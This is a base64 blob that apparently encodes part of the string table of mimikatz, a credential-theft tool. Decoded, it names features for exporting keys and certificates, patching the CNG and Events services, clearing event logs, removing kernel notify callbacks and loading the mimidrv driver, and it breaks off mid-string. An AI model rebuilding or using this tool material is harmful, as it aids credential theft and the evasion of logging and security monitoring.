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cgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQgBDAHIAeQBwAHQARQBuAHUAbQBSAGUAZwBpAHMAdABlAHIAZQBkAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAAAAAABzAHkAcwB0AGUAbQBzAHQAbwByAGUAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAAAAAAAgACAAIAAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAAAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAAAAAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABwAGYAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFAAZgB4ACAAOwAgAFAARgBYAEUAeABwAG8AcgB0AEMAZQByAHQAUwB0AG8AcgBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAbABlAHQAZQAgAHQAZQBtAHAAIABrAGUAeQBzAGUAdAAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAG4AZwAgADsAIABOAG8AIABDAE4ARwAKAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGMAbABlAGEAcgAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAZQB2AGUAbgB0AAAAAAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAFIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIABpAG0AYQBnAGUAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAHMAcwBkAHQAAAAAAAAAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAAAAAAG0AbwBkAHUAbABlAHMAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAEIAUwBPAEQAIAAhAAAAAABiAHMAbwBkAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABwAGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAAAAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAArAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAEMATQBhAG4AYQBnAGUAcgAoAGMAcgBlAGEAdABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAAAAAAAAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGk